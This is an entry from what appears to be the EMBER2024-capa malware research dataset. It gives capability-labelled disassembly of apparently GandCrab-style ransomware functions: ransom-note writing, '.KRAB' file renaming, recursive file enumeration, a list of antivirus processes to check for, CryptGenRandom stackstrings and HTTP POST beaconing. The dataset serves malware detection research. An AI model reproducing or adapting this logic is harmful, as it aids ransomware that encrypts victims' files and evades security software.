joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407663
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov ecx, 0x400
push edi
call fcn.00408de8
mov edi, eax
test edi, edi
je 0x407725
mov eax, dword [0x4232fc]
push ebx
lea ebx, [edi + 0x200]
test eax, eax
je 0x4076a2
push eax
push esi
push str._s_s_DECRYPT.txt
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x4076b2
push esi
push str._sKRAB_DECRYPT.txt
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
xor esi, esi
push esi
push esi
push 1
push esi
push esi
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4076f9
push esi
lea eax, [ebp - 4]
push eax
push dword [0x4232a4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x4232a4]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x407710
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x50
je 0x407710
call ebx
cmp eax, 5
jne 0x40771b
xor esi, esi
inc esi
mov ecx, edi
call fcn.00408df9
mov eax, esi
jmp 0x407724
mov ecx, edi
call fcn.00408df9
xor eax, eax
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40772b
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x423304]
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 4], edx
mov esi, ecx
push edi
mov edi, ebx
test eax, eax
je 0x407754
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax*2 + 2]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, edi
lea ecx, [eax*2 + 0x18]
call fcn.00408de8
mov edi, eax
test edi, edi
je 0x4078c3
mov eax, dword [0x423304]
test eax, eax
jne 0x40779b
cmp word [esi], 0x5c
push esi
jne 0x40778a
push str._s.KRAB
jmp 0x40778f
push str.___s.KRAB
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x4077b9
cmp word [esi], 0x5c
push eax
push esi
jne 0x4077aa
push str._s_s
jmp 0x4077af
push str.___s_s
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, esi
call fcn.004075c2
test eax, eax
jne 0x4078ba
mov ecx, esi
call fcn.0040729b
test eax, eax
jne 0x4078b7
mov eax, dword [ebp - 4]
cmp dword [eax + 0x20], 2
jb 0x4078b7
mov ecx, esi
call fcn.004074f1
xor ecx, ecx
xor edx, edx
inc ecx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0xc], ecx
mov ecx, dword [0x423310]
test ecx, ecx
jne 0x40787a
push 0x6e
pop eax
push 0x74
mov word [ebp - 0x3c], ax
pop eax
push 0x64
pop ecx
push 0x6c
pop edx
mov word [ebp - 0x3a], ax
push 0x2e
pop eax
mov word [ebp - 0x32], ax
xor eax, eax
mov dword [ebp - 0x2a], eax
lea eax, [ebp - 0x3c]
push eax
mov word [ebp - 0x38], cx
mov word [ebp - 0x36], dx
mov word [ebp - 0x34], dx
mov word [ebp - 0x30], cx
mov word [ebp - 0x2e], dx
mov word [ebp - 0x2c], dx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407874
movdqa xmm0, xmmword [0x41a8c0]
lea ecx, [ebp - 0x24]
push ecx
push eax
movdqu xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x656c6946
mov byte [ebp - 0x10], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov dword [0x423310], ecx
jmp 0x40787a
mov ecx, dword [0x423310]
xor edx, edx
mov dword [ebp - 8], ebx
test ecx, ecx
mov eax, edi
lea ecx, [ebp - 8]
push ecx
push dword [ebp - 4]
cmove eax, edx
mov ecx, esi
push dword [ebp - 0xc]
mov edx, dword [ebp + 8]
push eax
call fcn.00401261
add esp, 0x10
test eax, eax
je 0x4078b7
cmp dword [0x423310], ebx
je 0x4078af
cmp dword [ebp - 8], ebx
je 0x4078b7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor ebx, ebx
inc ebx
mov ecx, edi
call fcn.00408df9
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4078ca
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov dword [ebp - 4], ecx
or ebx, 0xffffffff
push edi
mov ecx, 0x410
mov dword [ebp - 8], edx
call fcn.00408de8
mov edi, eax
test edi, edi
je 0x4079e2
push esi
lea eax, [edi + 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0xe0c
call fcn.00408de8
mov esi, eax
test esi, esi
je 0x4079da
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea ecx, [esi + 0x600]
mov word [esi + 6], ax
mov edx, 0x100
push edx
lea eax, [esi + 0x400]
push eax
lea eax, [esi + 0x604]
push eax
lea eax, [esi + 0x608]
push eax
push ecx
push edx
lea eax, [esi + 0x200]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x4079d3
movzx eax, word [edi + 0x406]
lea ecx, [esi + 0x600]
xor eax, 8
push eax
movzx eax, word [edi + 0x404]
xor eax, 7
push eax
movzx eax, word [edi + 0x402]
xor eax, dword [ecx]
xor eax, 6
push eax
movzx eax, word [edi + 0x400]
xor eax, dword [ecx]
xor eax, 5
push eax
push dword [ebp - 4]
push str._s_x_x_x_x.lock
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
push 0
push 0x4000002
push 1
push 0
push 3
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4079d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x4079d3
mov eax, dword [ebp - 8]
mov dword [eax], 1
mov ecx, esi
call fcn.00408df9
mov ecx, edi
call fcn.00408df9
pop esi
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4079ea
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], edx
mov esi, ecx
mov dword [esp + 0x10], edi
cmp dword [ebp + 8], edi
jne 0x407a26
lea edx, [esp + 0x10]
call fcn.00407148
mov ebx, dword [esp + 0x10]
test eax, eax
jne 0x407a29
test ebx, ebx
jne 0x407a29
xor eax, eax
jmp 0x407b6f
xor ebx, ebx
inc ebx
mov ecx, esi
call fcn.00407663
test eax, eax
jne 0x407a3a
cmp word [esi], 0x5c
je 0x407a1f
lea edx, [esp + 0x10]
mov dword [esp + 0x10], edi
mov ecx, esi
call fcn.004078ca
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x10], edi
jne 0x407a1f
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x41a2a8
push esi
lea eax, [esi + eax*2]
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 2
push edi
push edi
lea eax, [esp + 0x2c]
push eax
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x407a98
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x18]
xor edx, edx
mov word [ecx], dx
cmp eax, 0xffffffff
jne 0x407ab0
mov edi, 0xdeadbeaf
jmp 0x407b63
push 0x41a2ac
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x407b42
push 0x41a2b0
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x407b42
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
test byte [esp + 0x20], 0x10
je 0x407b29
test ebx, ebx
je 0x407b1a
mov edx, 0x41a2b8
mov ecx, esi
call fcn.00408d7c
test eax, eax
je 0x407b39
push 0x41a2c0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
mov edx, dword [esp + 0x18]
mov ecx, esi
call fcn.004079ea
jmp 0x407b38
push 0x41a2c0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
jmp 0x407b0d
push dword [esp + 0x14]
lea edx, [esp + 0x24]
mov ecx, esi
call fcn.0040772b
pop ecx
mov eax, dword [esp + 0x18]
xor ecx, ecx
mov word [eax], cx
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x407ab0
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407ed0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407f21
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
xor ecx, ecx
inc ecx
test eax, eax
cmove esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x407f23
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0x408575
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, 0x3000
push edi
push 4
push ebx
push 0x400
xor eax, eax
push eax
call esi
mov edi, dword [ebp + 8]
push 4
push ebx
push 4
xor ebx, ebx
mov dword [edi], eax
push ebx
mov dword [ebp - 0x48], str.AVP.EXE
mov dword [ebp - 0x44], str.ekrn.exe
mov dword [ebp - 0x40], str.avgnt.exe
mov dword [ebp - 0x3c], str.ashDisp.exe
mov dword [ebp - 0x38], str.NortonAntiBot.exe
mov dword [ebp - 0x34], str.Mcshield.exe
mov dword [ebp - 0x30], str.avengine.exe
mov dword [ebp - 0x2c], str.cmdagent.exe
mov dword [ebp - 0x28], str.smc.exe
mov dword [ebp - 0x24], str.persfw.exe
mov dword [ebp - 0x20], str.pccpfw.exe
mov dword [ebp - 0x1c], str.fsguiexe.exe
mov dword [ebp - 0x18], str.cfp.exe
mov dword [ebp - 0x14], str.msmpeng.exe
call esi
mov esi, eax
test esi, esi
jne 0x408614
xor eax, eax
jmp 0x408748
push ebx
push 2
mov dword [esi], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x40863a
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40860d
push esi
xor ecx, ecx
mov dword [ebp - 8], ebx
push eax
mov dword [ebp + 8], ebx
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40871c
cmp dword [ebp - 4], 0
jne 0x4086f7
xor eax, eax
lea ecx, [esi + 0x24]
mov dword [ebp - 0xc], eax
push ecx
push dword [ebp + eax*4 - 0x48]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x408687
mov eax, dword [ebp - 0xc]
lea ecx, [esi + 0x24]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, 0xe
jb 0x408667
jmp 0x4086da
xor eax, eax
cmp dword [ebp + 8], eax
lea ebx, [eax + 1]
lea eax, [esi + 0x24]
push eax
push dword [edi]
jne 0x40869f
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x4086a5
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x41a668
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
inc dword [ebp + 8]
lea eax, [esi + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 8]
push 1
lea ecx, [ecx + eax*2]
mov eax, dword [ebp - 4]
cmp ecx, 0x3c0
mov dword [ebp - 8], ecx
pop ecx
cmova eax, ecx
mov dword [ebp - 4], eax
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x4086f7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x408655
test ebx, ebx
je 0x408714
mov eax, dword [edi]
xor ecx, ecx
cmp word [eax], cx
je 0x408714
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [edi]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
push 0x8000
xor eax, eax
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x408746
push 0x8000
xor eax, eax
push eax
push dword [edi]
call esi
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x408a08
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
mov esi, ecx
push edi
cmp dword [esi + 4], 0
je 0x408a24
push dword [esi + 4]
call ebx
mov ecx, esi
call fcn.00408807
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push 0x1bb
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp + 8], eax
test eax, eax
je 0x408acf
push 0x2800
lea ecx, [ebp - 0x10]
call fcn.00406320
push 0x800
lea ecx, [ebp - 0x10]
call fcn.00406365
push dword [ebp + 0xc]
mov esi, eax
push 0x4195f4
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
push 0x8484f700
push edi
push edi
push str.HTTP_1.1
push esi
mov esi, dword [ebp + 8]
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov dword [ebp + 8], eax
test eax, eax
je 0x408abf
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestW]
xor ecx, ecx
inc ecx
test eax, eax
mov eax, dword [ebp + 8]
cmovne edi, ecx
push eax
call ebx
push esi
call ebx
lea ecx, [ebp - 0x10]
call fcn.00406354
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30

Function at 0x408b2b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, dword [ebp + 0xc]
lea ecx, [eax*2 + 4]
call fcn.00408de8
mov esi, eax
test esi, esi
je 0x408c01
push ebx
push 0x6e
pop eax
push 0x74
mov word [ebp - 0x24], ax
pop eax
push 0x64
pop ecx
push 0x6c
pop edx
mov word [ebp - 0x22], ax
push 0x2e
pop eax
mov word [ebp - 0x1a], ax
xor eax, eax
mov dword [ebp - 0x12], eax
lea eax, [ebp - 0x24]
push eax
mov word [ebp - 0x20], cx
mov word [ebp - 0x1e], dx
mov word [ebp - 0x1c], dx
mov word [ebp - 0x18], cx
mov word [ebp - 0x16], dx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
test ebx, ebx
je 0x408be6
mov eax, dword [0x423314]
mov dword [ebp - 0xc], 0x7773765f
mov dword [ebp - 8], 0x6e697270
mov word [ebp - 4], 0x6674
mov byte [ebp - 2], 0
test eax, eax
jne 0x408bf1
lea eax, [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x423314], eax
test eax, eax
jne 0x408bf1
lea eax, [ebp - 0xb]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x423314], eax
test eax, eax
jne 0x408bf1
mov ecx, esi
call fcn.00408df9
xor eax, eax
jmp 0x408c00
lea ecx, [ebp + 0x14]
push ecx
push dword [ebp + 8]
push esi
call eax
add esp, 0xc
mov eax, esi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x408e13
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
push 0xf0000000
push 1
xor ebx, ebx
mov dword [ebp - 8], ecx
push ebx
push ebx
lea eax, [ebp - 4]
mov edi, edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x408f2b
push 0x1a
pop edx
xor ecx, ecx
mov dword [ebp - 0xc], edx
lea eax, [ecx + 0x61]
mov word [ebp + ecx*2 - 0x74], ax
inc ecx
cmp ecx, edx
jb 0x408e46
lea esi, [edi + edi]
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00406320
push esi
lea ecx, [ebp - 0x3c]
call fcn.00406365
mov esi, eax
test esi, esi
jne 0x408e8a
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea ecx, [ebp - 0x3c]
call fcn.00406354
xor eax, eax
jmp 0x408f2d
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], bl
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], bl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x408edc
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x408f18
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x408f18
push esi
push edi
push dword [ebp - 4]
call eax
test eax, eax
je 0x408f18
xor ecx, ecx
test edi, edi
je 0x408f15
mov ebx, dword [ebp - 8]
movzx eax, byte [ecx + esi]
cdq
idiv dword [ebp - 0xc]
mov ax, word [ebp + edx*2 - 0x74]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x408eff
xor ebx, ebx
inc ebx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea ecx, [ebp - 0x3c]
call fcn.00406354
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408f34
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push 0xf0000000
push 1
xor ebx, ebx
lea eax, [ebp - 4]
push ebx
push ebx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x408fcd
lea eax, [ebp - 0x18]
mov dword [ebp - 0x28], 0x70797243
push eax
mov dword [ebp - 0x24], 0x6e654774
mov dword [ebp - 0x20], 0x646e6152
mov word [ebp - 0x1c], 0x6d6f
mov byte [ebp - 0x1a], bl
mov dword [ebp - 0x18], 0x61766441
mov dword [ebp - 0x14], 0x32336970
mov dword [ebp - 0x10], 0x6c6c642e
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x408fa9
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x408fc3
lea ecx, [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x408fc3
lea ecx, [ebp - 8]
push ecx
push 4
push dword [ebp - 4]
call eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 8]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408fd5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
push 0xf0000000
xor eax, eax
mov dword [ebp - 0xc], ecx
inc eax
xor esi, esi
push eax
push esi
push esi
lea eax, [ebp - 8]
mov edi, edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x409102
push 0x1a
xor ecx, ecx
pop edx
lea eax, [ecx + 0x61]
mov byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, edx
jb 0x409007
lea eax, [edi + 1]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00406320
push edi
lea ecx, [ebp - 0x3c]
call fcn.00406365
mov ebx, eax
test ebx, ebx
jne 0x409047
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea ecx, [ebp - 0x3c]
call fcn.00406354
xor eax, eax
jmp 0x409104
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x40909b
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4090ef
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4090ef
cmp dword [ebp + 8], esi
jne 0x4090de
push ebx
push edi
push dword [ebp - 8]
call eax
test eax, eax
je 0x4090ef
test edi, edi
je 0x4090d7
mov ecx, dword [ebp - 0xc]
sub ebx, ecx
push 0x1a
pop esi
movzx eax, byte [ebx + ecx]
cdq
idiv esi
mov al, byte [ebp + edx - 0x58]
mov byte [ecx], al
inc ecx
dec edi
jne 0x4090c6
xor eax, eax
lea esi, [eax + 1]
jmp 0x4090ef
push dword [ebp - 0xc]
push edi
push dword [ebp - 8]
call eax
test eax, eax
push 1
pop eax
cmovne esi, eax
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea ecx, [ebp - 0x3c]
call fcn.00406354
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4092a4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
mov eax, ecx
mov dword [ebp - 0xc], edx
lea ecx, [ebp - 0x34]
mov dword [ebp - 8], eax
push ecx
push 0x18
pop esi
push esi
push eax
call dword [sym.imp.GDI32.dll_GetObjectW]
test eax, eax
je 0x40945a
mov eax, dword [ebp - 0x22]
imul eax, dword [ebp - 0x24]
push ebx
push edi
xor edi, edi
inc edi
movzx eax, ax
cmp ax, di
jne 0x4092e2
mov ebx, edi
jmp 0x409308
push 4
pop ebx
cmp ax, bx
jbe 0x409308
push 8
pop ebx
cmp ax, bx
jbe 0x409308
push 0x10
pop ebx
cmp ax, bx
jbe 0x409308
cmp ax, si
ja 0x409305
mov ebx, esi
push 0x28
jmp 0x409316
push 0x20
pop ebx
mov eax, edi
mov cl, bl
shl eax, cl
lea eax, [eax*4 + 0x28]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 0x18
mov dword [esi], 0x28
mov eax, dword [ebp - 0x30]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esi + 8], eax
mov ax, word [ebp - 0x24]
mov word [esi + 0xc], ax
mov ax, word [ebp - 0x22]
mov word [esi + 0xe], ax
pop eax
cmp bx, ax
jae 0x409351
mov cl, bl
shl edi, cl
mov dword [esi + 0x20], edi
mov eax, dword [esi + 4]
xor edi, edi
add eax, 7
movzx ecx, bx
cdq
and edx, 7
mov dword [esi + 0x10], edi
add eax, edx
mov dword [esi + 0x24], edi
sar eax, 3
imul eax, ecx
imul eax, dword [esi + 8]
push eax
push edi
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x409458
movzx ecx, word [esi + 8]
push edi
push esi
push ebx
push ecx
push edi
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.GDI32.dll_GetDIBits]
test eax, eax
je 0x409458
push edi
push 0x80
push 2
push edi
push edi
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x409458
mov eax, 0x4d42
mov word [ebp - 0x1c], ax
mov edx, dword [esi + 0x20]
mov ecx, dword [esi]
mov eax, dword [esi + 0x14]
push 0
lea ecx, [ecx + edx*4]
add ecx, 0xe
add eax, ecx
mov dword [ebp - 0x1a], eax
xor eax, eax
mov dword [ebp - 0x16], eax
mov ecx, dword [esi + 0x20]
mov eax, dword [esi]
lea eax, [eax + ecx*4]
add eax, 0xe
mov dword [ebp - 0x12], eax
lea eax, [ebp - 4]
push eax
push 0xe
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40942a
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x20]
lea eax, [eax*4 + 0x28]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40942d
push edi
jmp 0x409443
push 0
lea eax, [ebp - 4]
push eax
push dword [esi + 0x14]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x40944b
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x409458
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret